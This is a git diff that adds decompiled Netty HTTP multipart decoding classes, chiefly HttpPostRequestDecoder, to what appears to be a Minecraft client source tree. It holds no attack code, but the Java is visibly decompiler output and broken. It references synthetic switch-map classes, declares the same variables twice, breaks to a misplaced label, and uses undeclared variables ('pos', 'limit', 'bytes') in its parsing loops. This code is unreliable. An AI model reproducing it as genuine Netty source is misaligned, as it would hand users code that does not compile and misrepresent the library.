+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), true);
+        }
+        catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+      } else {
+        try {
+          currentAttribute.addContent(undecodedChunk.copy(readerIndex, lastPosition - readerIndex), false);
+        }
+        catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        undecodedChunk.readerIndex(lastPosition);
+        throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+      }
+    } catch (IndexOutOfBoundsException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException(e);
+    }
+  }
+  
+
+
+
+
+
+  private static String cleanString(String field)
+  {
+    StringBuilder sb = new StringBuilder(field.length());
+    for (int i = 0; i < field.length(); i++) {
+      char nextChar = field.charAt(i);
+      if (nextChar == ':') {
+        sb.append(' ');
+      } else if (nextChar == ',') {
+        sb.append(' ');
+      } else if (nextChar == '=') {
+        sb.append(' ');
+      } else if (nextChar == ';') {
+        sb.append(' ');
+      } else if (nextChar == '\t') {
+        sb.append(' ');
+      } else if (nextChar != '"')
+      {
+
+        sb.append(nextChar);
+      }
+    }
+    return sb.toString().trim();
+  }
+  
+
+
+
+
+  private boolean skipOneLine()
+  {
+    if (!undecodedChunk.isReadable()) {
+      return false;
+    }
+    byte nextByte = undecodedChunk.readByte();
+    if (nextByte == 13) {
+      if (!undecodedChunk.isReadable()) {
+        undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+        return false;
+      }
+      nextByte = undecodedChunk.readByte();
+      if (nextByte == 10) {
+        return true;
+      }
+      undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 2);
+      return false;
+    }
+    if (nextByte == 10) {
+      return true;
+    }
+    undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+    return false;
+  }
+  
+
+
+
+
+
+  private static String[] splitMultipartHeader(String sb)
+  {
+    ArrayList<String> headers = new ArrayList(1);
+    
+
+
+
+
+    int nameStart = HttpPostBodyUtil.findNonWhitespace(sb, 0);
+    for (int nameEnd = nameStart; nameEnd < sb.length(); nameEnd++) {
+      char ch = sb.charAt(nameEnd);
+      if ((ch == ':') || (Character.isWhitespace(ch))) {
+        break;
+      }
+    }
+    for (int colonEnd = nameEnd; colonEnd < sb.length(); colonEnd++) {
+      if (sb.charAt(colonEnd) == ':') {
+        colonEnd++;
+        break;
+      }
+    }
+    int valueStart = HttpPostBodyUtil.findNonWhitespace(sb, colonEnd);
+    int valueEnd = HttpPostBodyUtil.findEndOfString(sb);
+    headers.add(sb.substring(nameStart, nameEnd));
+    String svalue = sb.substring(valueStart, valueEnd);
+    String[] values;
+    String[] values; if (svalue.indexOf(';') >= 0) {
+      values = splitMultipartHeaderValues(svalue);
+    } else {
+      values = svalue.split(",");
+    }
+    for (String value : values) {
+      headers.add(value.trim());
+    }
+    String[] array = new String[headers.size()];
+    for (int i = 0; i < headers.size(); i++) {
+      array[i] = ((String)headers.get(i));
+    }
+    return array;
+  }
+  
+
+
+
+  private static String[] splitMultipartHeaderValues(String svalue)
+  {
+    List<String> values = InternalThreadLocalMap.get().arrayList(1);
+    boolean inQuote = false;
+    boolean escapeNext = false;
+    int start = 0;
+    for (int i = 0; i < svalue.length(); i++) {
+      char c = svalue.charAt(i);
+      if (inQuote) {
+        if (escapeNext) {
+          escapeNext = false;
+        }
+        else if (c == '\\') {
+          escapeNext = true;
+        } else if (c == '"') {
+          inQuote = false;
+        }
+        
+      }
+      else if (c == '"') {
+        inQuote = true;
+      } else if (c == ';') {
+        values.add(svalue.substring(start, i));
+        start = i + 1;
+      }
+    }
+    
+    values.add(svalue.substring(start));
+    return (String[])values.toArray(new String[values.size()]);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestDecoder.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestDecoder.java
new file mode 100644
index 0000000..e368ea8
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostRequestDecoder.java
@@ -0,0 +1,2238 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.DecoderException;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.handler.codec.http.QueryStringDecoder;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpPostRequestDecoder
+{
+  private static final int DEFAULT_DISCARD_THRESHOLD = 10485760;
+  private final HttpDataFactory factory;
+  private final HttpRequest request;
+  private final Charset charset;
+  private boolean bodyToDecode;
+  private boolean isLastChunk;
+  private final List<InterfaceHttpData> bodyListHttpData = new ArrayList();
+  
+
+
+
+  private final Map<String, List<InterfaceHttpData>> bodyMapHttpData = new TreeMap(CaseIgnoringComparator.INSTANCE);
+  
+
+
+
+
+  private ByteBuf undecodedChunk;
+  
+
+
+
+
+  private boolean isMultipart;
+  
+
+
+
+  private int bodyListHttpDataRank;
+  
+
+
+
+  private String multipartDataBoundary;
+  
+
+
+
+  private String multipartMixedBoundary;
+  
+
+
+
+  private MultiPartStatus currentStatus = MultiPartStatus.NOTSTARTED;
+  
+
+
+  private Map<String, Attribute> currentFieldAttributes;
+  
+
+
+  private FileUpload currentFileUpload;
+  
+
+
+  private Attribute currentAttribute;
+  
+
+
+  private boolean destroyed;
+  
+
+  private int discardThreshold = 10485760;
+  
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostRequestDecoder(HttpRequest request)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException, HttpPostRequestDecoder.IncompatibleDataDecoderException
+  {
+    this(new DefaultHttpDataFactory(16384L), request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostRequestDecoder(HttpDataFactory factory, HttpRequest request)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException, HttpPostRequestDecoder.IncompatibleDataDecoderException
+  {
+    this(factory, request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostRequestDecoder(HttpDataFactory factory, HttpRequest request, Charset charset)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException, HttpPostRequestDecoder.IncompatibleDataDecoderException
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    if (request == null) {
+      throw new NullPointerException("request");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.request = request;
+    HttpMethod method = request.getMethod();
+    if ((method.equals(HttpMethod.POST)) || (method.equals(HttpMethod.PUT)) || (method.equals(HttpMethod.PATCH))) {
+      bodyToDecode = true;
+    }
+    this.charset = charset;
+    this.factory = factory;
+    
+
+    String contentType = this.request.headers().get("Content-Type");
+    if (contentType != null) {
+      checkMultipart(contentType);
+    } else {
+      isMultipart = false;
+    }
+    if (!bodyToDecode) {
+      throw new IncompatibleDataDecoderException("No Body to decode");
+    }
+    if ((request instanceof HttpContent))
+    {
+
+      offer((HttpContent)request);
+    } else {
+      undecodedChunk = Unpooled.buffer();
+      parseBody();
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static enum MultiPartStatus
+  {
+    NOTSTARTED,  PREAMBLE,  HEADERDELIMITER,  DISPOSITION,  FIELD,  FILEUPLOAD,  MIXEDPREAMBLE,  MIXEDDELIMITER, 
+    MIXEDDISPOSITION,  MIXEDFILEUPLOAD,  MIXEDCLOSEDELIMITER,  CLOSEDELIMITER,  PREEPILOGUE,  EPILOGUE;
+    
+
+    private MultiPartStatus() {}
+  }
+  
+  private void checkMultipart(String contentType)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    String[] headerContentType = splitHeaderContentType(contentType);
+    if ((headerContentType[0].toLowerCase().startsWith("multipart/form-data")) && (headerContentType[1].toLowerCase().startsWith("boundary")))
+    {
+      String[] boundary = StringUtil.split(headerContentType[1], '=');
+      if (boundary.length != 2) {
+        throw new ErrorDataDecoderException("Needs a boundary value");
+      }
+      if (boundary[1].charAt(0) == '"') {
+        String bound = boundary[1].trim();
+        int index = bound.length() - 1;
+        if (bound.charAt(index) == '"') {
+          boundary[1] = bound.substring(1, index);
+        }
+      }
+      multipartDataBoundary = ("--" + boundary[1]);
+      isMultipart = true;
+      currentStatus = MultiPartStatus.HEADERDELIMITER;
+    } else {
+      isMultipart = false;
+    }
+  }
+  
+  private void checkDestroyed() {
+    if (destroyed) {
+      throw new IllegalStateException(HttpPostRequestDecoder.class.getSimpleName() + " was destroyed already");
+    }
+  }
+  
+
+
+
+
+  public boolean isMultipart()
+  {
+    checkDestroyed();
+    return isMultipart;
+  }
+  
+
+
+
+
+  public void setDiscardThreshold(int discardThreshold)
+  {
+    if (discardThreshold < 0) {
+      throw new IllegalArgumentException("discardThreshold must be >= 0");
+    }
+    this.discardThreshold = discardThreshold;
+  }
+  
+
+
+  public int getDiscardThreshold()
+  {
+    return discardThreshold;
+  }
+  
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas()
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new NotEnoughDataDecoderException();
+    }
+    return bodyListHttpData;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas(String name)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new NotEnoughDataDecoderException();
+    }
+    return (List)bodyMapHttpData.get(name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData getBodyHttpData(String name)
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new NotEnoughDataDecoderException();
+    }
+    List<InterfaceHttpData> list = (List)bodyMapHttpData.get(name);
+    if (list != null) {
+      return (InterfaceHttpData)list.get(0);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+  public HttpPostRequestDecoder offer(HttpContent content)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    checkDestroyed();
+    
+
+
+
+    ByteBuf buf = content.content();
+    if (undecodedChunk == null) {
+      undecodedChunk = buf.copy();
+    } else {
+      undecodedChunk.writeBytes(buf);
+    }
+    if ((content instanceof LastHttpContent)) {
+      isLastChunk = true;
+    }
+    parseBody();
+    if ((undecodedChunk != null) && (undecodedChunk.writerIndex() > discardThreshold)) {
+      undecodedChunk.discardReadBytes();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean hasNext()
+    throws HttpPostRequestDecoder.EndOfDataDecoderException
+  {
+    checkDestroyed();
+    
+    if (currentStatus == MultiPartStatus.EPILOGUE)
+    {
+      if (bodyListHttpDataRank >= bodyListHttpData.size()) {
+        throw new EndOfDataDecoderException();
+      }
+    }
+    return (!bodyListHttpData.isEmpty()) && (bodyListHttpDataRank < bodyListHttpData.size());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData next()
+    throws HttpPostRequestDecoder.EndOfDataDecoderException
+  {
+    checkDestroyed();
+    
+    if (hasNext()) {
+      return (InterfaceHttpData)bodyListHttpData.get(bodyListHttpDataRank++);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+  private void parseBody()
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    if ((currentStatus == MultiPartStatus.PREEPILOGUE) || (currentStatus == MultiPartStatus.EPILOGUE)) {
+      if (isLastChunk) {
+        currentStatus = MultiPartStatus.EPILOGUE;
+      }
+      return;
+    }
+    if (isMultipart) {
+      parseBodyMultipart();
+    } else {
+      parseBodyAttributes();
+    }
+  }
+  
+
+
+  protected void addHttpData(InterfaceHttpData data)
+  {
+    if (data == null) {
+      return;
+    }
+    List<InterfaceHttpData> datas = (List)bodyMapHttpData.get(data.getName());
+    if (datas == null) {
+      datas = new ArrayList(1);
+      bodyMapHttpData.put(data.getName(), datas);
+    }
+    datas.add(data);
+    bodyListHttpData.add(data);
+  }
+  
+
+
+
+
+
+
+  private void parseBodyAttributesStandard()
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    int firstpos = undecodedChunk.readerIndex();
+    int currentpos = firstpos;
+    
+
+    if (currentStatus == MultiPartStatus.NOTSTARTED) {
+      currentStatus = MultiPartStatus.DISPOSITION;
+    }
+    boolean contRead = true;
+    try { int ampersandpos;
+      while ((undecodedChunk.isReadable()) && (contRead)) {
+        char read = (char)undecodedChunk.readUnsignedByte();
+        currentpos++;
+        int ampersandpos; switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[currentStatus.ordinal()]) {
+        case 1: 
+          if (read == '=') {
+            currentStatus = MultiPartStatus.FIELD;
+            int equalpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, equalpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            firstpos = currentpos;
+          } else if (read == '&') {
+            currentStatus = MultiPartStatus.DISPOSITION;
+            ampersandpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, ampersandpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            currentAttribute.setValue("");
+            addHttpData(currentAttribute);
+            currentAttribute = null;
+            firstpos = currentpos;
+            contRead = true; }
+          break;
+        
+        case 2: 
+          if (read == '&') {
+            currentStatus = MultiPartStatus.DISPOSITION;
+            ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = true;
+          } else if (read == '\r') {
+            if (undecodedChunk.isReadable()) {
+              read = (char)undecodedChunk.readUnsignedByte();
+              currentpos++;
+              if (read == '\n') {
+                currentStatus = MultiPartStatus.PREEPILOGUE;
+                int ampersandpos = currentpos - 2;
+                setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+                firstpos = currentpos;
+                contRead = false;
+              }
+              else {
+                throw new ErrorDataDecoderException("Bad end of line");
+              }
+            } else {
+              currentpos--;
+            }
+          } else if (read == '\n') {
+            currentStatus = MultiPartStatus.PREEPILOGUE;
+            ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = false;
+          }
+          
+          break;
+        default: 
+          contRead = false;
+        }
+      }
+      if ((isLastChunk) && (currentAttribute != null))
+      {
+        ampersandpos = currentpos;
+        if (ampersandpos > firstpos) {
+          setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+        } else if (!currentAttribute.isCompleted()) {
+          setFinalBuffer(Unpooled.EMPTY_BUFFER);
+        }
+        firstpos = currentpos;
+        currentStatus = MultiPartStatus.EPILOGUE;
+        undecodedChunk.readerIndex(firstpos);
+        return;
+      }
+      if ((contRead) && (currentAttribute != null))
+      {
+        if (currentStatus == MultiPartStatus.FIELD) {
+          currentAttribute.addContent(undecodedChunk.copy(firstpos, currentpos - firstpos), false);
+          
+          firstpos = currentpos;
+        }
+        undecodedChunk.readerIndex(firstpos);
+      }
+      else {
+        undecodedChunk.readerIndex(firstpos);
+      }
+    }
+    catch (ErrorDataDecoderException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw e;
+    }
+    catch (IOException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw new ErrorDataDecoderException(e);
+    }
+  }
+  
+
+
+
+  private void parseBodyAttributes()
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e1) {
+      parseBodyAttributesStandard();
+      return;
+    }
+    int firstpos = undecodedChunk.readerIndex();
+    int currentpos = firstpos;
+    
+
+    if (currentStatus == MultiPartStatus.NOTSTARTED) {
+      currentStatus = MultiPartStatus.DISPOSITION;
+    }
+    boolean contRead = true;
+    try { int ampersandpos;
+      while (pos < limit) {
+        char read = (char)(bytes[(pos++)] & 0xFF);
+        currentpos++;
+        int ampersandpos; switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[currentStatus.ordinal()]) {
+        case 1: 
+          if (read == '=') {
+            currentStatus = MultiPartStatus.FIELD;
+            int equalpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, equalpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            firstpos = currentpos;
+          } else if (read == '&') {
+            currentStatus = MultiPartStatus.DISPOSITION;
+            ampersandpos = currentpos - 1;
+            String key = decodeAttribute(undecodedChunk.toString(firstpos, ampersandpos - firstpos, charset), charset);
+            
+            currentAttribute = factory.createAttribute(request, key);
+            currentAttribute.setValue("");
+            addHttpData(currentAttribute);
+            currentAttribute = null;
+            firstpos = currentpos;
+            contRead = true; }
+          break;
+        
+        case 2: 
+          if (read == '&') {
+            currentStatus = MultiPartStatus.DISPOSITION;
+            ampersandpos = currentpos - 1;
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = true;
+          } else if (read == '\r') {
+            if (pos < limit) {
+              read = (char)(bytes[(pos++)] & 0xFF);
+              currentpos++;
+              if (read == '\n') {
+                currentStatus = MultiPartStatus.PREEPILOGUE;
+                int ampersandpos = currentpos - 2;
+                sao.setReadPosition(0);
+                setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+                firstpos = currentpos;
+                contRead = false;
+                
+                break label512;
+              }
+              sao.setReadPosition(0);
+              throw new ErrorDataDecoderException("Bad end of line");
+            }
+            
+            if (limit > 0) {
+              currentpos--;
+            }
+          }
+          else if (read == '\n') {
+            currentStatus = MultiPartStatus.PREEPILOGUE;
+            ampersandpos = currentpos - 1;
+            sao.setReadPosition(0);
+            setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+            firstpos = currentpos;
+            contRead = false; }
+          break;
+        
+
+
+        default: 
+          sao.setReadPosition(0);
+          contRead = false;
+          break label512; }
+      }
+      label512:
+      if ((isLastChunk) && (currentAttribute != null))
+      {
+        ampersandpos = currentpos;
+        if (ampersandpos > firstpos) {
+          setFinalBuffer(undecodedChunk.copy(firstpos, ampersandpos - firstpos));
+        } else if (!currentAttribute.isCompleted()) {
+          setFinalBuffer(Unpooled.EMPTY_BUFFER);
+        }
+        firstpos = currentpos;
+        currentStatus = MultiPartStatus.EPILOGUE;
+        undecodedChunk.readerIndex(firstpos);
+        return;
+      }
+      if ((contRead) && (currentAttribute != null))
+      {
+        if (currentStatus == MultiPartStatus.FIELD) {
+          currentAttribute.addContent(undecodedChunk.copy(firstpos, currentpos - firstpos), false);
+          
+          firstpos = currentpos;
+        }
+        undecodedChunk.readerIndex(firstpos);
+      }
+      else {
+        undecodedChunk.readerIndex(firstpos);
+      }
+    }
+    catch (ErrorDataDecoderException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw e;
+    }
+    catch (IOException e) {
+      undecodedChunk.readerIndex(firstpos);
+      throw new ErrorDataDecoderException(e);
+    }
+  }
+  
+  private void setFinalBuffer(ByteBuf buffer) throws HttpPostRequestDecoder.ErrorDataDecoderException, IOException {
+    currentAttribute.addContent(buffer, true);
+    String value = decodeAttribute(currentAttribute.getByteBuf().toString(charset), charset);
+    currentAttribute.setValue(value);
+    addHttpData(currentAttribute);
+    currentAttribute = null;
+  }
+  
+
+
+  private static String decodeAttribute(String s, Charset charset)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    try
+    {
+      return QueryStringDecoder.decodeComponent(s, charset);
+    } catch (IllegalArgumentException e) {
+      throw new ErrorDataDecoderException("Bad string: '" + s + '\'', e);
+    }
+  }
+  
+
+
+
+
+
+  private void parseBodyMultipart()
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    if ((undecodedChunk == null) || (undecodedChunk.readableBytes() == 0))
+    {
+      return;
+    }
+    InterfaceHttpData data = decodeMultipart(currentStatus);
+    while (data != null) {
+      addHttpData(data);
+      if ((currentStatus == MultiPartStatus.PREEPILOGUE) || (currentStatus == MultiPartStatus.EPILOGUE)) {
+        break;
+      }
+      data = decodeMultipart(currentStatus);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private InterfaceHttpData decodeMultipart(MultiPartStatus state)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[state.ordinal()]) {
+    case 3: 
+      throw new ErrorDataDecoderException("Should not be called with the current getStatus");
+    
+    case 4: 
+      throw new ErrorDataDecoderException("Should not be called with the current getStatus");
+    
+    case 5: 
+      return findMultipartDelimiter(multipartDataBoundary, MultiPartStatus.DISPOSITION, MultiPartStatus.PREEPILOGUE);
+    
+
+
+
+
+
+
+
+
+
+
+    case 1: 
+      return findMultipartDisposition();
+    
+
+    case 2: 
+      Charset localCharset = null;
+      Attribute charsetAttribute = (Attribute)currentFieldAttributes.get("charset");
+      if (charsetAttribute != null) {
+        try {
+          localCharset = Charset.forName(charsetAttribute.getValue());
+        } catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+      }
+      Attribute nameAttribute = (Attribute)currentFieldAttributes.get("name");
+      if (currentAttribute == null) {
+        try {
+          currentAttribute = factory.createAttribute(request, cleanString(nameAttribute.getValue()));
+        }
+        catch (NullPointerException e) {
+          throw new ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new ErrorDataDecoderException(e);
+        } catch (IOException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        if (localCharset != null) {
+          currentAttribute.setCharset(localCharset);
+        }
+      }
+      try
+      {
+        loadFieldMultipart(multipartDataBoundary);
+      } catch (NotEnoughDataDecoderException e) {
+        return null;
+      }
+      Attribute finalAttribute = currentAttribute;
+      currentAttribute = null;
+      currentFieldAttributes = null;
+      
+      currentStatus = MultiPartStatus.HEADERDELIMITER;
+      return finalAttribute;
+    
+
+    case 6: 
+      return getFileUpload(multipartDataBoundary);
+    
+
+
+    case 7: 
+      return findMultipartDelimiter(multipartMixedBoundary, MultiPartStatus.MIXEDDISPOSITION, MultiPartStatus.HEADERDELIMITER);
+    
+
+    case 8: 
+      return findMultipartDisposition();
+    
+
+    case 9: 
+      return getFileUpload(multipartMixedBoundary);
+    
+    case 10: 
+      return null;
+    case 11: 
+      return null;
+    }
+    throw new ErrorDataDecoderException("Shouldn't reach here.");
+  }
+  
+
+
+  void skipControlCharacters()
+    throws HttpPostRequestDecoder.NotEnoughDataDecoderException
+  {
+    HttpPostBodyUtil.SeekAheadOptimize sao;
+    
+    try
+    {
+      sao = new HttpPostBodyUtil.SeekAheadOptimize(undecodedChunk);
+    } catch (HttpPostBodyUtil.SeekAheadNoBackArrayException e) {
+      try {
+        skipControlCharactersStandard();
+      } catch (IndexOutOfBoundsException e1) {
+        throw new NotEnoughDataDecoderException(e1);
+      }
+      return;
+    }
+    
+    while (pos < limit) {
+      char c = (char)(bytes[(pos++)] & 0xFF);
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        sao.setReadPosition(1);
+        return;
+      }
+    }
+    throw new NotEnoughDataDecoderException("Access out of bounds");
+  }
+  
+  void skipControlCharactersStandard() {
+    for (;;) {
+      char c = (char)undecodedChunk.readUnsignedByte();
+      if ((!Character.isISOControl(c)) && (!Character.isWhitespace(c))) {
+        undecodedChunk.readerIndex(undecodedChunk.readerIndex() - 1);
+        break;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  private InterfaceHttpData findMultipartDelimiter(String delimiter, MultiPartStatus dispositionStatus, MultiPartStatus closeDelimiterStatus)
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    try {
+      skipControlCharacters();
+    } catch (NotEnoughDataDecoderException e1) {
+      undecodedChunk.readerIndex(readerIndex);
+      return null;
+    }
+    skipOneLine();
+    String newline;
+    try {
+      newline = readDelimiter(delimiter);
+    } catch (NotEnoughDataDecoderException e) {
+      undecodedChunk.readerIndex(readerIndex);
+      return null;
+    }
+    if (newline.equals(delimiter)) {
+      currentStatus = dispositionStatus;
+      return decodeMultipart(dispositionStatus);
+    }
+    if (newline.equals(delimiter + "--"))
+    {
+      currentStatus = closeDelimiterStatus;
+      if (currentStatus == MultiPartStatus.HEADERDELIMITER)
+      {
+
+        currentFieldAttributes = null;
+        return decodeMultipart(MultiPartStatus.HEADERDELIMITER);
+      }
+      return null;
+    }
+    undecodedChunk.readerIndex(readerIndex);
+    throw new ErrorDataDecoderException("No Multipart delimiter found");
+  }
+  
+
+
+
+
+  private InterfaceHttpData findMultipartDisposition()
+    throws HttpPostRequestDecoder.ErrorDataDecoderException
+  {
+    int readerIndex = undecodedChunk.readerIndex();
+    if (currentStatus == MultiPartStatus.DISPOSITION) {
+      currentFieldAttributes = new TreeMap(CaseIgnoringComparator.INSTANCE);
+    }
+    
+    while (!skipOneLine()) {
+      String newline;
+      try {
+        skipControlCharacters();
+        newline = readLine();
+      } catch (NotEnoughDataDecoderException e) {
+        undecodedChunk.readerIndex(readerIndex);
+        return null;
+      }
+      String[] contents = splitMultipartHeader(newline);
+      if (contents[0].equalsIgnoreCase("Content-Disposition")) { boolean checkSecondArg;
+        boolean checkSecondArg;
+        if (currentStatus == MultiPartStatus.DISPOSITION) {
+          checkSecondArg = contents[1].equalsIgnoreCase("form-data");
+        } else {
+          checkSecondArg = (contents[1].equalsIgnoreCase("attachment")) || (contents[1].equalsIgnoreCase("file"));
+        }
+        
+        if (checkSecondArg)
+        {
+          for (int i = 2; i < contents.length; i++) {
+            String[] values = StringUtil.split(contents[i], '=');
+            Attribute attribute;
+            try {
+              String name = cleanString(values[0]);
+              String value = values[1];
+              
+
+              if ("filename".equals(name))
+              {
+                value = value.substring(1, value.length() - 1);
+              }
+              else {
+                value = cleanString(value);
+              }
+              attribute = factory.createAttribute(request, name, value);
+            } catch (NullPointerException e) {
+              throw new ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new ErrorDataDecoderException(e);
+            }
+            currentFieldAttributes.put(attribute.getName(), attribute);
+          }
+        }
+      } else if (contents[0].equalsIgnoreCase("Content-Transfer-Encoding")) {
+        Attribute attribute;
+        try {
+          attribute = factory.createAttribute(request, "Content-Transfer-Encoding", cleanString(contents[1]));
+        }
+        catch (NullPointerException e) {
+          throw new ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        currentFieldAttributes.put("Content-Transfer-Encoding", attribute);
+      } else if (contents[0].equalsIgnoreCase("Content-Length")) {
+        Attribute attribute;
+        try {
+          attribute = factory.createAttribute(request, "Content-Length", cleanString(contents[1]));
+        }
+        catch (NullPointerException e) {
+          throw new ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new ErrorDataDecoderException(e);
+        }
+        currentFieldAttributes.put("Content-Length", attribute);
+      } else if (contents[0].equalsIgnoreCase("Content-Type"))
+      {
+        if (contents[1].equalsIgnoreCase("multipart/mixed")) {
+          if (currentStatus == MultiPartStatus.DISPOSITION) {
+            String[] values = StringUtil.split(contents[2], '=');
+            multipartMixedBoundary = ("--" + values[1]);
+            currentStatus = MultiPartStatus.MIXEDDELIMITER;
+            return decodeMultipart(MultiPartStatus.MIXEDDELIMITER);
+          }
+          throw new ErrorDataDecoderException("Mixed Multipart found in a previous Mixed Multipart");
+        }
+        
+        for (int i = 1; i < contents.length; i++) {
+          if (contents[i].toLowerCase().startsWith("charset")) {
+            String[] values = StringUtil.split(contents[i], '=');
+            Attribute attribute;
+            try {
+              attribute = factory.createAttribute(request, "charset", cleanString(values[1]));
+            }
+            catch (NullPointerException e) {
+              throw new ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new ErrorDataDecoderException(e);
+            }
+            currentFieldAttributes.put("charset", attribute);
+          } else {
+            Attribute attribute;
+            try {
+              attribute = factory.createAttribute(request, cleanString(contents[0]), contents[i]);
+            }
+            catch (NullPointerException e) {
+              throw new ErrorDataDecoderException(e);
+            } catch (IllegalArgumentException e) {
+              throw new ErrorDataDecoderException(e);
+            }
+            currentFieldAttributes.put(attribute.getName(), attribute);
+          }
+        }
+      }
+      else {
+        throw new ErrorDataDecoderException("Unknown Params: " + newline);
+      }
+    }
+    
+    Attribute filenameAttribute = (Attribute)currentFieldAttributes.get("filename");
+    if (currentStatus == MultiPartStatus.DISPOSITION) {
+      if (filenameAttribute != null)
+      {
+        currentStatus = MultiPartStatus.FILEUPLOAD;
+        
